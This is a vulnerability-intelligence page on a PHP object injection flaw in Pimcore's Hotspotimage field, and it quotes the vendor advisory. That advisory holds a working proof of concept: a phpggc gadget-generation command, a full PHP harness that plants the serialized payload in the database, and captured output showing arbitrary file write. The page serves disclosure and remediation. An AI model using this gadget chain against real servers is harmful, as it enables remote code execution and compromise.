Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain store-write primitive (SQLi/admin)
-
DeliveryWrite serialized gadget into `__hotspots` column
-
ExploitTrigger object load (admin/API/frontend)
-
ExecutionUnrestricted unserialize instantiates gadget
-
PersistDestructor writes file / executes chain
-
ImpactRemote code execution
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V1 - Encoding and Sanitization Safe deserialization, type allowlists
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires that the target DataObject class declares a Hotspotimage (advanced image) field with a non-null |
| Impact | The published CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H, score 9.3) presents this as a network, unauthenticated, low-complexity critical flaw - but that scoring is in tension with the advisory's own description, which states the required attacker primitive is the ability to write attacker-chosen serialized bytes into the |
| Exploit ScenarioDerived | An attacker who has obtained a store-write primitive - for example an SQL injection reaching the object_store table, or a compromised low-trust integration/account that can write DataObject storage - replaces the |
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Alert meAnalysisAIv2 – Aug 28, 2026
PHP Object Injection leading to remote code execution affects the Pimcore DXP/CMS (composer pimcore/pimcore) in versions 2026.1.0-2026.1.5 and all 12.3.x through 12.3.9, where the Hotspotimage DataObject field marshaller deserializes the persisted *__hotspots object-store column with no class allowlist. Any attacker able to write crafted PHP-serialized bytes into that column gains arbitrary object instantiation on the next object load, chainable to RCE via gadgets in Pimcore's own bundled dependencies (guzzlehttp/guzzle 7.11.0). A working proof-of-concept demonstrating attacker-controlled file write is published in the vendor advisory; publicly available exploit code exists, but there is no CISA KEV listing and no EPSS score was provided.
Earlier versions of this analysis (1)
PHP Object Injection in Pimcore's DataObject layer allows an attacker who can write the *__hotspots object-store column to achieve remote code execution when an affected object is next loaded. The Hotspotimage marshaller's getDataFromResource() falls back to Serialize::unserialize() with no class allowlist (allowed_classes defaults to true), so crafted serialized bytes instantiate arbitrary classes and fire their magic methods; the sibling ImageGallery, Block, and Video marshallers share the identical flaw. A detailed end-to-end proof of concept exists demonstrating arbitrary file write via the bundled guzzlehttp/guzzle 7.11.0 FileCookieJar gadget, and the issue is fixed in 12.3.10 and 2026.1.6; there is no public exploit identified in the wild and it is not on CISA KEV.
RemediationAI
Vendor-released patch: upgrade to Pimcore 2026.1.6 (for the 2026.x line) or 12.3.10 (for the 12.3.x line); the fix passes an explicit class allowlist to the deserializer (Serialize::unserialize($metaData, [Element\Data\MarkerHotspotItem::class])), confirmed inert against the PoC gadget. See PR https://github.com/pimcore/pimcore/pull/19181 and commit b184c01bf11e213e601d965b4e96c8bb7248e980, release notes at https://github.com/pimcore/pimcore/releases/tag/v2026.1.6 and https://github.com/pimcore/pimcore/releases/tag/v12.3.10. If you cannot upgrade immediately, the highest-leverage compensating control is to eliminate the write primitive: audit and lock down any path that can write DataObject store columns - patch/parameterize SQL to remove injection vectors, restrict database write credentials used by the app, and restrict admin/API accounts that can persist DataObjects (side effect: tighter DB privileges may break custom import/ETL jobs that write store tables directly). As a defense-in-depth measure you can locally harden the wrapper by flipping Serialize::unserialize()'s default $allowedClasses to false and adding explicit allowlists at legitimate callers, but this requires code-level patching and testing since some callers legitimately revive objects. Avoid deserializing these columns from untrusted or externally-writable databases in the interim.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The root cause is CWE-502 (Deserialization of Untrusted Data). Pimcore's Pimcore\Tool\Serialize::unserialize() wrapper defaults its $allowedClasses argument to true, meaning PHP's native unserialize() runs with allowed_classes => true (fully unrestricted). The advanced-image field type DataObject\ClassDefinition\Data\Hotspotimage::getDataFromResource() reads the <field>__hotspots store column, attempts json_decode() for backward compatibility, and - because the persistence layer always writes this column as PHP-serialize()d bytes rather than JSON - falls through to the unrestricted Serialize::unserialize(). Instantiating arbitrary classes triggers their __wakeup/__destruct magic methods; the PoC uses phpggc's Guzzle/FW1 chain (GuzzleHttp\Cookie\FileCookieJar::__destruct) as a file-write primitive. The identical json_decode(...) ?: Serialize::unserialize(...) fallback pattern also appears in the sibling marshallers ImageGallery, Block, and Video over their own store columns. Affected package per CPE is pkg:composer/pimcore_pimcore; the load path executes on virtually every retrieval of an affected object (admin grid/detail, frontend rendering, Studio/API reads, inheritance walks).
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- Exploit and PoC references, threat intelligence from 22 sources
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Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Exploitation presupposes an attacker-held store/DB-write primitive into the object_store column, so PR:H rather than PR:N; once bytes are written the load-time deserialization and bundled gadget make execution deterministic (AC:L), yielding full C/I/A impact.
Primary rating from Vendor (https://github.com/pimcore/pimcore).
CVSS VectorVendor: https://github.com/pimcore/pimcore
Lifecycle Timeline
2DescriptionCVE.org
Summary
Pimcore\Model\DataObject\ClassDefinition\Data\Hotspotimage::getDataFromResource() deserializes the *__hotspots object-store column through the Pimcore\Tool\Serialize::unserialize() wrapper without a class allowlist (the wrapper's $allowedClasses parameter defaults to true, i.e. fully unrestricted). Because the persistence layer always stores this column as PHP-serialize()d bytes, every load of a DataObject that has a Hotspotimage (advanced image) field runs an unrestricted unserialize() over the stored column value. An attacker who can write the *__hotspots store column with crafted serialized bytes achieves PHP Object Injection (CWE-502): arbitrary classes are instantiated and their magic methods (__wakeup/__destruct) execute, which is exploitable for remote code execution via gadget chains present in Pimcore's own bundled dependencies (e.g. guzzlehttp/guzzle).
The same field-data family also affects the sibling marshallers ImageGallery, Block, and Video, which use the identical json_decode(...) ?: Serialize::unserialize(...) fallback over their respective store columns. The root cause is shared: Serialize::unserialize() defaults to an unrestricted class list, and these callers pass no second argument.
Severity
High. Successful exploitation yields PHP Object Injection leading to remote code execution (proven below as arbitrary file write using a gadget from Pimcore's bundled guzzlehttp/guzzle 7.11.0). This is the deserialization leg of an attack: it requires the ability to write the *__hotspots object-store column with attacker-chosen serialized bytes. No class-allowlist defense is present, so any such write is directly weaponizable on the next object load. CVSS-wise this is comparable to other deserialization sinks over attacker-influenceable storage in this codebase.
Affected component
- File:
models/DataObject/ClassDefinition/Data/Hotspotimage.php, methodgetDataFromResource(). - Vulnerable lines (v2026.1.4 / v12.3.8):
$metaData = $data[$this->getName() . '__hotspots'];
// check if the data is JSON (backward compatibility)
$md = json_decode($metaData, true);
if (!$md) {
$md = Serialize::unserialize($metaData); // unrestricted: allowed_classes defaults to true
} elseif (is_array($md)) {
$md['hotspots'] = $md;
}- Root enabler:
lib/Tool/Serialize.php
public static function unserialize(?string $data = null, array|bool $allowedClasses = true): mixed
{
if ($data === null || $data === '') { return $data; }
return unserialize($data, ['allowed_classes' => $allowedClasses]); // default true = unrestricted
}- Sibling marshallers with the identical fallback shape:
ImageGallery,Block,Video(DataObject\ClassDefinition\Data). - Package:
pimcore/pimcore(Composer). - Affected versions: all currently maintained releases, including the latest
v2026.1.4andv12.3.8(verified against deployedv2026.1.4).
Data flow
- On save,
Hotspotimage::getDataForResource()stores the hotspot/marker/crop metadata asSerialize::serialize($metaData)into the<field>__hotspotsobject-store column - i.e. PHP serialized bytes, not JSON. - On load,
Hotspotimage::getDataFromResource()reads that column, callsjson_decode()(which fails for the serialized format), and therefore falls through toSerialize::unserialize($metaData)with the default unrestricted class list. Serialize::unserialize()invokesunserialize($data, ['allowed_classes' => true]), instantiating any class named in the bytes and triggering its magic methods.- The load path is exercised on essentially every object retrieval (admin grid/detail, frontend rendering, Studio/API reads, inheritance walks) for objects whose class declares a Hotspotimage field, with a non-null
<field>__image.
The attacker primitive is the ability to place crafted serialized bytes into the <field>__hotspots store column (for example through an SQL-write/store-write primitive). The defect is that the deserialization is performed with no class allowlist, so any such write is directly executable.
Proof of Concept
Verified end-to-end against a real, locally deployed Pimcore v2026.1.4 (Composer skeleton + MariaDB + pimcore:install), not a ported stub. The gadget is phpggc Guzzle/FW1 built against Pimcore's own bundled guzzlehttp/guzzle 7.11.0; its GuzzleHttp\Cookie\FileCookieJar::__destruct writes an attacker-controlled file to disk (a file-write primitive; the same surface reaches RCE via other vendored gadget chains).
Gadget generation (476→474 raw bytes, non-JSON so the unserialize fallback is taken):
printf 'PWNED_BY_DESERIALIZATION_%s' "$(date +%s)" > /tmp/ggc_local_src.txt
./phpggc Guzzle/FW1 /tmp/pimcore_pwned_hotspot.txt /tmp/ggc_local_src.txt | tr -d '\n' > /tmp/ggc_guzzle_fw1.ser
# stored bytes begin: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...Reproduction harness (a Symfony console command living in the deployed app; it creates a real DataObject class with a Hotspotimage field, a real image asset, a real saved object, performs the attacker store-write into object_store_<id>.img__hotspots, then reloads the object through the real Pimcore model layer):
<?php
declare(strict_types=1);
namespace App\Command;
use Pimcore\Db;
use Pimcore\Model\Asset;
use Pimcore\Model\DataObject;
use Pimcore\Model\DataObject\ClassDefinition;
use Symfony\Component\Console\Attribute\AsCommand;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;
#[AsCommand(name: 'e2e:hotspot', description: 'E2E CWE-502 Hotspotimage __hotspots unserialize')]
final class E2eHotspotCommand extends Command
{
protected function configure(): void
{
$this->addOption('benign', null, InputOption::VALUE_NONE, 'negative control: benign JSON');
$this->addOption('restricted', null, InputOption::VALUE_NONE, 'negative control: allowed_classes=false');
}
protected function execute(InputInterface $input, OutputInterface $output): int
{
$o = fn (string $m) => $output->writeln($m);
$gadget = (string) file_get_contents('/tmp/ggc_guzzle_fw1.ser');
$target = '/tmp/pimcore_pwned_hotspot.txt';
@unlink($target);
$o('=== STEP 1: create DataObject class with a Hotspotimage field ===');
$class = ClassDefinition::getByName('E2eHotspot');
if (!$class) {
$class = new ClassDefinition();
$class->setName('E2eHotspot');
$class->setGroup('e2e');
$field = new ClassDefinition\Data\Hotspotimage();
$field->setName('img');
$field->setTitle('img');
$panel = new ClassDefinition\Layout\Panel();
$panel->setName('Layout');
$panel->addChild($field);
$class->setLayoutDefinitions($panel);
$class->save();
}
$o(' class id=' . $class->getId());
$o('=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===');
$png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==');
$asset = Asset::getByPath('/e2e_pixel.png');
if (!$asset) {
$asset = new Asset\Image();
$asset->setFilename('e2e_pixel.png');
$asset->setParent(Asset::getById(1));
$asset->setData($png);
$asset->save();
}
$o(' asset id=' . $asset->getId());
$o('=== STEP 3: create+save object carrying that image ===');
$obj = DataObject::getByPath('/e2e_obj');
if (!$obj) {
$fqcn = '\\Pimcore\\Model\\DataObject\\' . $class->getName();
$obj = new $fqcn();
$obj->setKey('e2e_obj');
$obj->setParent(DataObject::getById(1));
$obj->setPublished(true);
$obj->setValue('img', new DataObject\Data\Hotspotimage($asset));
$obj->save();
}
$objId = $obj->getId();
$store = 'object_store_' . $class->getId();
$o(' object id=' . $objId . ' store=' . $store);
$o('=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===');
$db = Db::get();
$payload = $input->getOption('benign')
? json_encode(['hotspots' => [], 'marker' => [], 'crop' => []])
: $gadget;
$db->executeStatement('UPDATE `' . $store . '` SET `img__hotspots` = ? WHERE oo_id = ?', [$payload, $objId]);
$stored = (string) $db->fetchOne('SELECT `img__hotspots` FROM `' . $store . '` WHERE oo_id = ?', [$objId]);
$o(' stored prefix: ' . substr($stored, 0, 60));
$o(' json_decode(stored) === null ? ' . var_export(json_decode($stored, true) === null, true) . ' (=> unserialize fallback)');
$o('=== STEP 5: clear cache + reload object => getDataFromResource() ===');
\Pimcore\Cache::clearAll();
\Pimcore\Cache\RuntimeCache::clear();
$o(' target file before load exists? ' . var_export(file_exists($target), true));
if ($input->getOption('restricted')) {
$o(' [negative control] fixed wrapper allowed_classes=false on the same bytes');
$res = @unserialize($stored, ['allowed_classes' => false]);
$o(' returned type=' . gettype($res) . ' class=' . (is_object($res) ? get_class($res) : 'n/a'));
gc_collect_cycles();
} else {
try {
$reloaded = DataObject\Concrete::getById($objId, ['force' => true]);
$reloaded->getImg(); // triggers Hotspotimage::getDataFromResource() lazy load
$o(' reloaded class=' . get_class($reloaded));
unset($reloaded);
} catch (\Throwable $e) {
$o(' (post-unserialize downstream error, gadget already instantiated): ' . $e->getMessage());
}
gc_collect_cycles();
}
$o('=== RESULT ===');
clearstatcache();
if (file_exists($target)) {
$o(' [VULNERABLE] gadget file WRITTEN: ' . $target);
$o(' contents: ' . trim((string) file_get_contents($target)));
} else {
$o(' [NOT TRIGGERED] target file absent');
}
return Command::SUCCESS;
}
}Captured output - RUN A (positive, gadget):
=== STEP 1: create DataObject class with a Hotspotimage field ===
class id=1
=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===
asset id=2
=== STEP 3: create+save object carrying that image ===
object id=4 store=object_store_1
=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\
json_decode(stored) === null ? true (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
target file before load exists? false
(post-unserialize downstream error, gadget already instantiated): Cannot use object of type GuzzleHttp\Cookie\FileCookieJar as array
=== RESULT ===
[VULNERABLE] gadget file WRITTEN: /tmp/pimcore_pwned_hotspot.txt
contents: [{"Expires":1,"Discard":false,"Value":"PWNED_BY_DESERIALIZATION_1780420803"}]Captured output - RUN B (negative control, benign JSON in the column):
=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
[negative control] storing benign JSON
stored prefix: {"hotspots":[],"marker":[],"crop":[]}
json_decode(stored) === null ? false (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
target file before load exists? false
reloaded class=Pimcore\Model\DataObject\E2eHotspot
=== RESULT ===
[NOT TRIGGERED] target file absentCaptured output - RUN C (negative control, the fix: allowed_classes=false over the same gadget bytes):
=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\
json_decode(stored) === null ? true (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
target file before load exists? false
[negative control] fixed wrapper allowed_classes=false on the same bytes
returned type=object class=__PHP_Incomplete_Class
=== RESULT ===
[NOT TRIGGERED] target file absentRUN A shows the attacker bytes drive unserialize() to instantiate the GuzzleHttp\Cookie\FileCookieJar gadget, whose destructor writes an attacker-controlled file. RUN B shows benign JSON takes the safe json_decode branch (no deserialization, no file). RUN C shows that performing the same deserialization with an allowed_classes allowlist returns an inert __PHP_Incomplete_Class and the gadget never runs - i.e. the proposed fix neutralizes the attack.
Impact
PHP Object Injection (CWE-502) on object load. With gadget chains available in Pimcore's bundled dependencies this is exploitable for remote code execution; the PoC demonstrates an attacker-controlled arbitrary file write via the bundled guzzlehttp/guzzle 7.11.0 FileCookieJar chain. Because the *__hotspots column is read on virtually every load of an affected object (admin UI, frontend output, API, inheritance resolution), any write of crafted bytes into that column is reliably executed.
Remediation
Make Serialize::unserialize() safe by default and/or pass an explicit class allowlist at the Hotspotimage/ImageGallery/Block/Video callers.
Preferred minimal fix at the wrapper (closes the whole Serialize::unserialize()-without-allowlist family in one place):
public static function unserialize(?string $data = null, array|bool $allowedClasses = false): mixed(i.e. flip the default to false, requiring callers that legitimately need to revive objects to opt in with an explicit allowlist). Alternatively, change each affected marshaller to pass ['allowed_classes' => false] (or a tight allowlist such as [MarkerHotspotItem::class]) explicitly. RUN C above confirms allowed_classes deserialization renders the gadget inert. Fix PR (private temporary advisory fork): https://github.com/pimcore/pimcore-ghsa-w23p-wrp7-ch38/pull/1
Articles & Coverage 1
Technical POC Analysis
CWE-502: deserialization of untrusted data.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
Pimcore digital experience platform versions 2026.1.0-2026.1.5 and 12.3.0-12.3.9 contain a critical remote code execution vulnerability allowing attackers to take complete control of affected servers. Publicly available exploit code exists, creating immediate risk of full system compromise, data theft, and service disruption for any organization running these Pimcore versions.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
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EUVD-2026-67870
GHSA-w23p-wrp7-ch38
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB